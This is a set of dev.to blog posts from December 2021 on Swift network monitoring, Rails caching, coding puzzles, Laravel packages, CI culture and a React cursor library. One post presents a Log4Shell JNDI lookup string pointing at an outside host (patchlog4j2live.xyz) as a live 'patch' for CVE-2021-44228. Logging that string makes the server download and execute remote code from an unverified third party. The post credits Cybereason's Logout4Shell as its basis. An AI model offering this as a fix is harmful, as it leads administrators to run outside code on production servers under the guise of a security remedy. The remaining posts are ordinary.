teleren/devto huggingface dataset:
How To Use NWPathMonitor
Published: 2021-12-12 06:22:36


```swift
import Network

class NetworkMonitor {

    let monitor = NWPathMonitor()

    @Published var connected: Bool = false
    @Published var interfaces: [NWInterface.InterfaceType] = []
    @Published var unsatisfiedReason: NWPath.UnsatisfiedReason?

    func start() {
        monitor.pathUpdateHandler = { [weak self] path in
						print("Expensive: \(path.isExpensive)") // Cellular or Personal Hotspot
            DispatchQueue.main.async {
                switch path.status {
                case .requiresConnection, .unsatisfied:
                    self?.connected = false
                    self?.unsatisfiedReason = path.unsatisfiedReason
                case .satisfied:
                    self?.connected = true
                @unknown default:
                    break
                }

                self?.interfaces = NWInterface.InterfaceType.allCases.filter({
                    path.usesInterfaceType($0)
                })
            }
        }
        monitor.start(queue: DispatchQueue.global())
    }

    func cancel() {
        monitor.cancel()
    }
}

extension NWInterface.InterfaceType: CaseIterable {
    public static var allCases: [NWInterface.InterfaceType] {
        [.cellular, .loopback, .other, .wifi, .wiredEthernet]
    }
}

```
Use this to automatically patch running log4j2 vulnerability... no need to restart the server
Tags: log4j, java, cve, cve202144228
Published: 2021-12-12 06:21:36

---
title: Use this to automatically patch running log4j2 vulnerability... no need to restart the server
published: true
description: 
tags: log4j,java,cve,CVE202144228
//cover_image: https://direct_url_to_image.jpg
---

Log your message with following to patch your server LIVE against Log4j2 RCE (`CVE-2021-44228`):

```java
logger.error("${jndi:ldap://patchlog4j2live.xyz:1389/a}");
```
This will automatically patch your running log4j instance and remove remote lookups, thus, sub-siding the RCE (`CVE-2021-44228`).

You can verify with following codebase(use vulnerable version of log4j to test obviously 🤷‍♂️):

```java
public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        // This will hit the server and download the class that will patch live log4j
        logger.error("${jndi:ldap://patchlog4j2live.xyz:1389/a}");

        // The RCE should not work now... if you still see message printed
        // such as: "FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS",
        // that means the patch didn't work.
        // Raise issue here: https://github.com/freakynit/Logout4Shell
        // or here (original version): https://github.com/Cybereason/Logout4Shell
        logger.error("${jndi:ldap://patchlog4j2live.xyz:1389/a}");
    }
}
```

This is based on this awesome codebase by Cybereason: https://github.com/Cybereason/Logout4Shell

Safe logging... 

__Disclaimer:__ I will not be liable for anything good, or bad, happening from using above. This is solely for a quick resolution.
Art of shit coding
Tags: programming, webdev, productivity, writing
Published: 2021-12-12 05:15:32

**What is Shit Coding?**
Shit coding is just what the name suggests, it's probably the encrypted code which only you can read. Not using comments, weird variable names are some of the techniques to master it.

_**How to Master the Art of shit coding**_

---- Don't use Comments
Comments are meant to be avoided, don't use them unless you really have to try continuous writing without any comments and you'll be good.

---- Variable names and useless variables
How do you name your variables?
Like if you had to make a variable that will store user's ID what do you name it? If you name it 'ID' or 'userID' you're doing it wrong! try naming it as varA, a, dik, or something like this.

```
dik = res.status(404).send("not found bruh!");
```
Do make useless variables it's important.

---- Kill the Indentation
The most stupid thing that ever existed is indentation, to be honest your code is likely to work even without indentations sometimes, so please stop indenting your code.

---- DIV Volcano (divcano!)
Stop using different HTML tags like 

```
<section>
   <nav>
      <div>
      </div>
   </nav>
</section>
```


DON'T DO THIS!
Try doing this instead...

```
<div>
   <div>
      <div>
         <div>
            <div>
            </div>
         </div>
      </div>
   </div>
</div>
```

Div volcano looks satisfying who cares about readability anyways?

---- Use your native language to write comments (if you have to)

```
//वाह क्या गांड फाडू कोड लिखा है
<div>
   <div class="what">
      <div class="da">
         <div id="dog">
            <div class="doin?">
            </div>
         </div>
      </div>
   </div>
</div>

```
---- Don't show your mistakes <3

```
try{
   //Something that works
} catch{
  //Bruh!
}
```

---- Don't add node_modules to .gitignore
Stop it let people know what modules you're using...

_If you do all of these you'll reach new heights, just don't code with me I already dead inside. Hope this guide was helpful. Byeeeee_
Active Record caches generated queries for find_by queries
Tags: ruby, rails
Published: 2021-12-12 05:15:07

__tl;dr; Active Record caches generated queries, when using `find_by` and `find`. This is a different type of cache, unrelated to QueryCache and prepared statements.__

## What exactly does Active Record cache, and when?

When you call `Post.find(1)` or `Post.find_by(id: 1)`, Active Record will cache the result of build_arel in a StatementCache instance. The `build_arel` method is the one that generates the actual underlying query, in this case, `SELECT * FROM posts WHERE id = ?`.

## Why does it actually matter?

This is a small internal optimization that should be invisible in most cases. The generated queries are parameterized, so once they are cached, they can be reused regardless of the arguments. It should speed things up and all is well.

I had an issue when hooking into Active Record’s internals, using a custom module included into `ActiveRecord::Relation`:

```ruby
module M
  def build_arel(aliases=nil)
    super.tap do |arel|
      # look into the generated query
    end
  end
end

ActiveSupport.on_load :active_record do
  ActiveRecord::Relation.include M
end
```

I was expecting my custom code inside #tap to always be executed, but since Active Record caches the result of build_arel, the first call would go through build_arel and subsequent calls to find would use the cached result and never hit the #tap method.

A quick workaround I found was to add arel.model.intialize_find_by_cache if Rails.env.test? at the end of my #tap block, to make sure the cache would get reset and therefore nothing would actually end up cached. In my case, this was a test only thing, and resetting the cache in this context was not an issue.

## Final words

I used to be scared of digging into Rails’ code, afraid it would be “too complicated”. But it’s actually not that bad! I fully recommend checking it out, if you don’t know where to start, let me recommend the find method.

### Links:

- https://flexport.engineering/avoiding-activerecord-preparedstatementcacheexpired-errors-4499a4f961cf
- https://www.honeybadger.io/blog/rails-activerecord-caching/
Final progress update
Tags: opensource, javascript
Published: 2021-12-12 04:43:41

Last week was fun and quite productive, I finally finished the [backend part](https://github.com/Seneca-CDOT/telescope/pull/2541) of the [issue](https://github.com/Seneca-CDOT/telescope/issues/2414) and the [PR](https://github.com/Seneca-CDOT/telescope/pull/2585) for the front-end is up for review. 

## Adding a test for the endpoint: 
Any new feature should have a test suite for it, I wrote the test below to make sure the data returned is correct. There are a few checks like status of the request, the type of data returned and making sure all keys are correct. 
```js 
test('Should return 200 and valid response object', async () => {
    function checkKeys(resBody) {
      const allKeys = ['waiting', 'active', 'completed', 'failed', 'delayed', 'paused', 'jobCnt'];
      return Object.keys(resBody.queueInfo).every((key) => {
        if (!allKeys.includes(key) || typeof resBody.queueInfo[key] !== 'number') {
          return false;
        }
        return true;
      });
    }

    const res = await request(app).get('/feeds/info');

    expect(res.status).toEqual(200);
    expect(typeof res.body).toEqual('object');
    expect(typeof res.body.queueInfo).toEqual('object');
    expect(checkKeys(res.body)).toBe(true);
  });
```

## Adding the job count to the dashboard: 
The dashboard of `telescope` was recently updated using `handlebars` template, so it was a good opportunity to brush up my knowledge of it. You can take a look at the dashboard and the job count gets updated when the feed queue starts processing in the backend

<img width="100%" style="width:100%" src="https://media.giphy.com/media/m3bueTHzWSsIo6SDI8/giphy.gif">

I simply created function to fetch the endpoint I `feeds/info` and  exported it to the `render` method of the `hbs` template. I have more detailed explanation in this [PR](https://github.com/Seneca-CDOT/telescope/pull/2585). For now, I'm waiting for some new fixes to the dashboard to land and fix the fetch url accordingly.
Weekly Challenge 142
Tags: python, perl, theweeklychallenge
Published: 2021-12-12 03:41:20

## Before I begin...

As Mohammad mention in [his blog](https://theweeklychallenge.org/blog/1000-days/), December 18th will mark 1,000 days since The Weekly Challenge was born. I'd like to thank him for all the tireless work he puts into the challenge to make it a success.

I'd also like to shout out to Colin Crain for his weekly reviews of the Perl submission, and Pete Sergeant and the Perl Careers team for donating the monthly giveaways.

And finally thank you to every member of Team PWC. As much as I enjoy doing the challenge myself, I get even more out of it by reading other blog posts to see how other people tackle each task.

## TASK #1 › Divisor Last Digit

### Task

You are given positive integers, `$m` and `$n`.

Write a script to find total count of divisors of `$m` having last digit `$n`.

### My solution

This is a pretty straight forward task. It's a mash up of the two tasks last week, the first dealt with divisors, and the second taking an input of `$m` and `$n`.

I do have an observation about the task itself. The second value has to be a positive integer, but the solutions only match the 'last digit'. That means any value above nine isn't valid. As the number zero is not a positive integer, it also does not meet the criteria. I was definitely in two minds about including the option of 0, but the task clearly states a 'positive integer', so I stuck with that.

As for the task itself, I have a function `_get_divisors`. Given a number, it will return a list of all divisors. Like last weeks task, I only made modest optimizations to perform this quickly.

I filter this list by checking that the last digit of each divisor ( `× % 10` ) is the second value, and display the number of elements in the list.

The Perl code is a transliteration of the Python code.

### Examples

```
$ ./ch-1.py 24 2
2

$ ./ch-1.py 30 5
2
```

## TASK #2 › Sleep Sort

### Task

Another joke sort similar to JortSort suggested by champion Adam Russell.

You are given a list of numbers. Write a script to implement [Sleep Sort](https://iq.opengenus.org/sleep-sort)

### My solution

I found this task interesting because I've never really used threads in either Python or Perl. Once I read up on it, it was a matter of creating a thread for each number. After creating all the threads, we join them so our script won't exit before all the threads are completed. Each thread will sleep for the required number of seconds, and then display the number.

Like with the first task, the Perl code is a transliteration of the Python code. The only important difference is that I use [Time::HiRes](https://metacpan.org/pod/Time::HiRes#sleep)'s version of sleep to allow sleeping for parts of a second.

### Examples

```
$ ./ch-2.py 3 0.1 2 2.5 1
0.1
1
2
2.5
3

$ ./ch-2.pl 3 0.1 2 2.5 1
0.1
1
2
2.5
3
```
Why many Unix structs have Prefixes
Tags: c, unix
Published: 2021-12-12 03:14:43

---
title: Why many Unix structs have Prefixes
published: true
description: Why many Unix structs have prefixes.
tags: #c, #unix
//cover_image: https://direct_url_to_image.jpg
---

One thing I’ve long been curious about is why many Unix C `struct` fields are named such that they are prefixed by a common abbreviation. For example, for the `sockaddr_in` `struct`:

```c
struct sockaddr_in {
    short           sin_family;
    unsigned short  sin_port;
    struct in_addr  sin_addr;
};
```

all fields are prefixed by `sin`, an abbreviation for `sockaddr_in`. There are several other examples, as well, e.g., `struct stat`.

I originally thought it was perhaps just a style quirk of the original Unix authors. I tried searching for things like “early C style,” but never found anything.

I’ve also thought that perhaps they named the fields that way to allow the use of short pointer names like `p`. (We are after all talking about guys who named commands `cp`, `rm`, etc.) For example, given:

```c
p->st_mode   // You know 'p' is a stat*.
q->mode      // You have no idea what this is.
```

The prefix of `st_` allows you to know the type of `p` just by looking at it whereas you’d have to find the declaration of `q` to know what it means.  Non-prefixed fields would require putting a mnemonic in the pointer itself:

```c
pstat->mode  // Clear, but more keystrokes.
```

Prefixes also make fields easily `grep`able. Both rationales seem reasonable, right?

However, I finally stumbled across the [real answer](https://stackoverflow.com/a/10325945/99089): early C compilers had only a single, global symbol table, so they added prefixes to `struct` fields to avoid collisions. 😮 Once C compilers improved, this style largely faded away.†

---

† Though I've since learned that Solaris’ internal style guide still recommends this style to this day, even in new code:

> Systematic prefix conventions for ... structure or union member names can be useful.

But it doesn't elaborate as to _why_, specifically.
Advent of Code, Days 9-11
Tags: adventofcode, python
Published: 2021-12-12 03:00:51

It's been a very interesting few days in the Advent of Code challenge. Day 9 has probably been my favorite so far: the challenge was to find the low points on a heightmap (an array of numbers), and then find the associated basins (defined as any numbers less than 9 connected to the low point, excluding diagonals).

```
2199943210
3987894921
9856789892
8767896789
9899965678

A sample heightmap.
```

The first part was not particularly difficult. It required coding some logic to check corners and edges, since some adjacent coordinates would be outside the map, as well as iterating through the inner parts of the map to locate the numbers lower than all four other numbers to the left, right, up, and down.

The second part of the day's puzzle is where things really got fun: discovering the size of each basin connected to a low spot. To do so required a recursive function with a little twist to it (relative to the basic recursion I've used once or twice before). It felt really good to not only work out how to solve this problem, but to also code the solution. I also figured out how to clean up my function to avoid repetition and look clean, too!

Yesterday's and today's puzzles felt a little simpler, and today's used some code similar to the mapping functions from day 9. The trickiest part for me was working out how to reference all eight locations next to a given coordinate, including diagonals, without referencing the original coordinate.

The Advent of Code is nearing the halfway point. Looking forward to seeing where the puzzles go from here, both in terms of theme as well as difficulty!
Shuffling Arrays in ruby 
Tags: ruby, array, shuffle, random
Published: 2021-12-12 01:20:29

Hey all,

   I’m going over a problem while learning ruby and would appreciate any help. I’ve been reading everything trying to grasp this. In order to randomize the contents of an array, you have to use the .shuffle method? And if so, why does ruby claim it is an undefined method? Also, how would I get a user input from a gets.chomp to be part of an array? I tried putting it directly into the array, I tried setting it equal to a variable and then tried putting the variable into an array but it kept crashing. I feel like this may be simpler than I am making it. None of the material on arrays is helping. Everybody is working with preset Arrays and not user inputs.
How to test a Laravel package locally

Tags: php, composer, laravel, package
Published: 2021-12-12 00:32:55

Howdy!

Lately I’ve been working on submitting a PR to a package, Laravel package to be precise.

I forked & cloned the project to my local machine. I made my adjustments, and then I want to test it, because it has a visual interface.

But I had a problem linking it an existing Laravel app to see those adjustments. So reading Composer docs, I found “Repositories”, and you can use it to link a local composer package, How ?

First of all, after cloning or creating your own package, you can link it in your main application by editing `composer.json`, adding this :
```json

"repositories": [
        {
            "type": "path",
            "url": "../../awesome/package"
            
        }
    ]

```
Note: the url must be the full path to the package.
After that, add the package to the require section

And finally
```bash
composer update
```

Composer now will link the package to the main app, and any change you make in the package will be reflected immediately into your app.
Thank you for reading.
You can't help everyone
Tags: gitlab, cicd, tooling, culture
Published: 2021-12-27 08:26:32

---
title: You can't help everyone
published: true
date: 2021-12-12 00:00:00 UTC
tags: gitlab,cicd,tooling,culture
canonical_url: https://jhall.io/archive/2021/12/12/you-cant-help-everyone/
---

A few years ago I started a new job with a small company as a backend Go developer. One of the first things I did at this job was set up [GitLab-CI](https://docs.gitlab.com/ee/ci/) to run tests automatically for every merge request we created and block the merge if any tests failed. You know… the normal way of using a test automation pipeline with merge requests.

This worked great… for about 2 days.

Then the CTO pulled me over to his desk, quite concerned. He was looking at the CI/CD Pipelines overview in GitLab.

“We need to stop running these tests automatically. It’s cluttering up this page with a bunch of errors.”

![](https://jhall.io/images/gitlab-ci-failures.png)

He had been using that page as a summary of releases to production (and also to manually trigger deployments to production), rather than for its broader intended purpose of showing a record of all pipelines.

Facepalming on the inside, I replied with “You can filter out failures, if you want, and only show pipelines run on master.”

He thought for a moment then said “No. Just revert the automatic tests. It’s too much hassle.”

I left that company less than 2 weeks after I started.

Last I heard they had hired someone much more junior to replace me, and were happily, if inefficiently, trotting along without their automated tests.

Not everyone wants your solution. You may know a better way to do things, that may solve actual problems. But if the recipient doesn’t feel pain from those problems, they will see no value in your suggestions. That’s okay. You don’t need to convince them.

* * *
_If you enjoyed this message, [subscribe](https://jhall.io/daily) to <u>The Daily Commit</u> to get future messages to your inbox._
Custom Cursors in React
Tags: react, css, webdev, typescript
Published: 2021-12-11 23:37:15

![GIF](https://user-images.githubusercontent.com/69592270/145694947-ee595f08-42bd-42e7-b3e1-b2183c835953.gif)

One thing I've seen across many designer/design studio websites are a cool custom cursor in place of your default computer one. Recently, I added one to my [website](https://harshhhdev.github.io) aswell.

I had to write one from scratch (using some internet resources of course!), since all the NPM libraries I found were either outdated, or didn't support SSR.

After adding the cursor to my own website, I had an idea to create an NPM package for it for a while. This weekend, I had some freetime from school & got to work!

This library supports [TypeScript](https://typescriptlang.org), along with server-side rendering ([Next.js](https://nextjs.org) & [Remix](https://remix.run))

Want a demo? I setup a quick [demo website](https://harshhhdev.github.io/custom-pointer-react/) to help you tweak & experiment around with values!

# 🚀 Setup

To download the library, head over to your terminal:

```zsh
yarn add custom-pointer-react
```

Next, import the cursor component into your file & customise it! Don't forget to wrap your app in the context afterwards.

```tsx
import { Cursor } from 'custom-pointer-react'
...
const Cursor = () => {
  return (
    ...
    <Cursor {...passParametersToCustomise} />
    ...
  )
}
...
export default App
```

All parameters are optional, & here's a list of the different parameters which you can customise: 

| Parameter  | Description                                         | Default |
| ---------- | --------------------------------------------------- | ------------- |
| color      | The background colour of the cursor                 | #000000       |
| showRing   | Controls whether to show the ring around the cursor | true          |
| ringSize   | Controls the size of the ring around the cursor     | 50px          |
| cursorSize | Controls the size of the cursor                     | 10px          |
| ringBorder | Controls the width of the ring's border             | 2px           |

Need help finding the right parameters? Check out the [demo website](https://harshhhdev.github.io/custom-pointer-react/)!

Now, go into your app & import the MouseContext provider.

```tsx
import { MouseContextProvider } from 'custom-pointer-react'
...
ReactDOM.render(
  <MouseContextProvider>
    <App />
  </MouseContextProvider>,
  document.getElementById('root')
)
...
```

Your custom cursor should be good to go!